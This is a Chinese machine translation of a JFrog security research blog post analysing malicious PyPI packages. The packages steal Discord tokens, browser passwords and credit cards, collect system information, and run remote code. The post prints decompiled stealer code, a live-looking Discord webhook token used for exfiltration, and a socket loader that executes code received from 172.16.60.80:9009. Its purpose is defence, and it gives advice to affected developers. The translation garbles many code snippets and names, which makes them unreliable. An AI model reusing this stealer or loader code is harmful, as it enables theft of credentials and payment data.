JFrog检测窃取信用卡和注入代码的恶意PyPI包

新发现的恶意PyPI包

软件包存储库正在成为一个流行的目标供应链攻击。最近,有关于恶意软件攻击流行存储库(如npm、PyPI和RubyGems)的新闻。开发人员盲目地信任存储库并从这些源安装包,认为它们是安全的。有时允许将恶意软件包上传到包存储库,从而使恶意参与者有机会使用存储库分发病毒,并在管道中的开发人员和CI/CD机器上发起成功的攻击。

作为JFrog安全研究团队(以前的Vdoo)自动识别恶意包的持续努力的一部分,我们现在报告PyPI上托管的几个Python包为恶意包。我们已经提醒PyPI关于恶意软件包的存在,并立即将其删除。基于pepy.tech,我们估计恶意软件包被下载了大约3万次。我们目前没有关于使用这些恶意软件包造成的实际影响的数据。

在这篇博文中,我们将分享这些软件包的技术分析及其影响。

报告包

包名 维护人员 有效载荷
贵族阶级 xin1111 不和谐令牌窃取者,信用卡窃取者(基于windows的
genesisbot xin1111 和贵族一样
aryi xin1111 和贵族一样
遭受 遭受 和贵族一样,被迷惑了PyArmor
noblesse2 遭受 和贵族一样
noblessev2 遭受 和贵族一样
pytagora leonora123 远程代码注入
pytagora2 leonora123 和pytagora一样

技术分析

模糊技术

上述所有软件包(以及大多数新手Python恶意软件)都使用了一种简单的混淆技术:

  1. 使用一些简单的编码器(例如Base64)对Python文本进行编码
  2. 将已解码的文本作为代码进行评估,使用eval

例如,noblesse2恶意软件的主代码是这样的:

导入base64,编解码器magic = 'aW1wb3J0IGNvbG9yYW1hLCBkYXRldGltZS…' love = '0iLKOcY3L4Y2q1nJkxpl97nJE9Y2EyoTI0M…' god = 'a2luZy5hcHBlbmQodG9rZW4pDQogICAgICAg. ''命运= 'yxIKAVDaAQK3xjpQWkqRAboUcBIzqjEmS…“快乐= ' \ x72 \ x6f \ x74 \ x31 \ x33 '信任= eval(‘\ x6d \ x61 \ x67 \ x69 \ x63”)+ eval(‘\ x63 \ x6f \ x64 \ x65 \ x63 \ \表示就是x73 \ x2e x64…”)eval(编译(base64.b64decode (eval(‘\ x74 \ x72 \ x75 \ x73 \ x74”)),”,“执行”))

(为简洁起见,数据被截断)

这种混淆可以欺骗一个简单的静态分析工具,但不能阻止更彻底的分析,实际上会发出一个危险信号,使许多研究人员更仔细地研究这段代码。

混淆代码中使用的特定字符串(北欧金属启发?)帮助我们意识到恶意软件只是用公共工具进行处理python-obfuscator

这些包被混淆了PyArmor这表明恶意软件开发者正在尝试不同的混淆方法。

noblesse有效载荷#1 -窃取不和认证令牌

第一个有效载荷贵族阶级恶意软件“家族”正在窃取Discord认证令牌。身份验证令牌允许攻击者冒充最初持有该令牌的用户(类似于HTTP会话cookie)。

窃取令牌的有效载荷是基于臭名昭著的dTGPG(Discord Token Grabber Payload Generator)有效载荷。这是一个从未公开发布的生成器工具,但有效负载(个性化令牌抓取器)是公开共享的,一些示例也被上传到Github

Discord认证令牌窃取代码非常简单,它迭代一组硬编码的路径:

local = os.getenv('LOCALAPPDATA') roaming = os.getenv('APPDATA') paths = {'Discord':漫游+ '\\Discord', 'Discord Canary':漫游+ '\\discordcanary', 'Discord PTB':漫游+ '\\discordptb', 'Google Chrome':本地+ '\\Google\\Chrome\\用户数据\\默认','Opera':漫游+ '\\Opera Software\\Opera Stable', 'Brave':本地+ '\\BraveSoftware\\Brave- browser \\用户数据\\默认','Yandex':本地+ '\\Yandex\\YandexBrowser\\用户数据\\默认'}

然后简单地读取所有. logldb文件在这些路径下(特别是在LocalSotrage \ leveldb),并寻找Discord认证令牌,它看起来像这样:

  • AhDDanSZFkkf2j2J8co2d5Tn.G2rsTL.ZP2E7xR3AiapA8oNmgyqsao0Fj1(单因素令牌- 24个字符+ '。“+ 6个字符+”。+ 27个字符)
  • mfa.zmDGLWt6FVZVIjc5Xo25luPYVTRWqPryLQUVOjN0kIzZ5uzWQ1fbHyiaTNj0sQ3j4cLSB7XibGzPaUHEc3mO(多因素令牌-“mfa”。+ 84个字符)

结果通过Webhook(一种简单的方法,可以自动将消息和数据更新发送到私人服务器上的文本频道)上传到Discord以下参数

{"type": 1, "id": "807327703082074143", "name": " Hook船长","avatar": null, "channel_id": "725001140324008047", "guild_id": "720931953251057725", "application_id": null, "token": "uwAgm7PQaROJB3USUNDv1RT7uJzfidUsHBsC_y0p2qtChlzNVgpG1vw2zAtkFX-8Xq-x"}

noblesse有效载荷#2 -窃取自动完成敏感数据(信用卡和密码)

第二个有效载荷贵族阶级家庭是一个“自动完成”的信息窃取者。所有现代浏览器都支持为用户保存密码和信用卡信息:

浏览器支持保存密码和信用卡信息

这非常方便,但缺点是这些信息可能会被访问本地机器的恶意软件泄露。

在这种情况下,恶意软件试图从Chrome窃取信用卡信息:

defcs (): master_key = master() login_db = os。environ['USERPROFILE'] + os。sep + \ r' appdata \Local\Google\Chrome\User Data\default\Web Data' shutil。copy2(login_db, "CCvault.db") conn = sqlite3.connect("CCvault.db") cursor = conn.cursor() try: cursor。fetchall(): username = r[1] encrypted_password = r[4] decrypted_password = dpw(encrypted_password, master_key) expire_mon = r[2] expire_year = r[3] hook. execute("SELECT * FROM credit_cards")send(f“CARD-NAME:”+ username +“\nNUMBER:”+ decrypted_password +“\nEXPIRY:”+ str(expire_mon) +“\nEXPIRY:”+ str(expire_year) +“\n”+“*”* 10 +“\n”))

此外,从Edge窃取保存的密码和信用卡信息(为了简短而截断):

Login_db = os。在viron['USERPROFILE'] + os.sep + r'\AppData\Local\Microsoft\Edge\User Data\Profile 1\Login Data' ... cursor.execute("SELECT action_url, username_value, password_value FROM logins") decrypted_password = dpw(encrypted_password, master_key) if username != "" or decrypted_password != "": hook.send(f"URL: " + url + "\nUSER: " + username + "\nPASSWORD: " + decrypted_password + "\n" + "*" * 10 + "\n")

信息被上传到前面提到的同一个Webhook。

noblesse有效载荷#3 -系统信息收集

第三个有效载荷贵族阶级家人收集受害者系统的以下信息,并将其上传到上述Webhook:

  • IP地址
  • 计算机名
  • 用户名
  • Windows许可密钥信息(wmic路径softwarelicensingservice获取OA3xOriginalProductKey
  • Windows版本(谁得到标题
  • 截图图片(通过使用枕头的ImageGrab

pytagora -远程代码注入

研究的第二个恶意软件家族要简单得多。

在“让pytagora定理变得简单”这个有趣的幌子下(原文如此),这是这个包的全部代码:

import math import base64,sys def hello(): exec(base64.b64decode('aW1wb3J0IHNvY2tldCxzdHJ1Y3Qs…'))def斜边(a,b): hello() c = math.sqrt(math.pow(a,2) + math.pow(b,2))) return round(c,2) def other(c,x): y = math.sqrt(math.pow(c,2)-math.pow(x,2)) return round(y,2)

这段被混淆的代码被解码成以下代码段:

import socket,struct,time s=socket.socket(2,socket.socket.socket. sock_stream) .connect(('172.16.60.80',9009)) l=struct.unpack('>I',s.r recv(4))[0] print (l) d=s.r recv(l) print (d) while len(d)>!1: d+=s.recv(l-len(d)) print (d) exec(d,{'s':s})

简而言之,恶意软件试图连接到TCP端口9009上的私有IP地址,然后执行从套接字读取的任何Python代码。

你应该怎么做?

给受影响开发者的建议

如果在检查了PyPI依赖项之后,您已经确定了它贵族阶级(或其任何克隆)已在本地安装,我们建议:

  1. 检查保存了哪些密码边缘,并在每个网站(以及重用这些密码的任何网站)更改这些受损的密码。这种检查可以通过打开来进行边缘导航到优势:/ /设置/密码。保存的密码的完整列表(可能被泄露)可以在下面看到保存的密码。
  2. 查看哪些信用卡被存了进去考虑取消这些信用卡。这种检查可以通过打开来进行还有导航到chrome://settings/payments。保存的信用卡的完整列表(可能被泄露)可以在下面看到付款方法。

如果你已经确定了pytagora(或其任何克隆)已本地安装在您的计算机上,虽然您不太可能感染了恶意软件,但我们建议按照通常的恶意软件检查步骤进行检查,例如使用已安装的防病毒软件运行完整扫描。

总结

正如我们在我们的之前的PyPI研究由于公共软件存储库中缺乏节制和自动安全控制,即使是没有经验的攻击者也可以将它们用作传播恶意软件的平台,无论是通过输入错误、依赖混淆还是简单的社会工程攻击。

本研究中分析的几乎所有代码片段都是基于已知的公共工具,只有少数参数发生了变化。这种混淆也是基于公共混淆。

我们希望看到更多的这些“弗兰肯斯坦”恶意软件包从不同的攻击工具缝合(改变了泄漏参数)。我们将继续监视公共包存储库,以清理此类实例。

最后,我们要感谢达斯汀·英格拉姆(@di_codes),以便快速响应和删除恶意软件包。

阅读更多: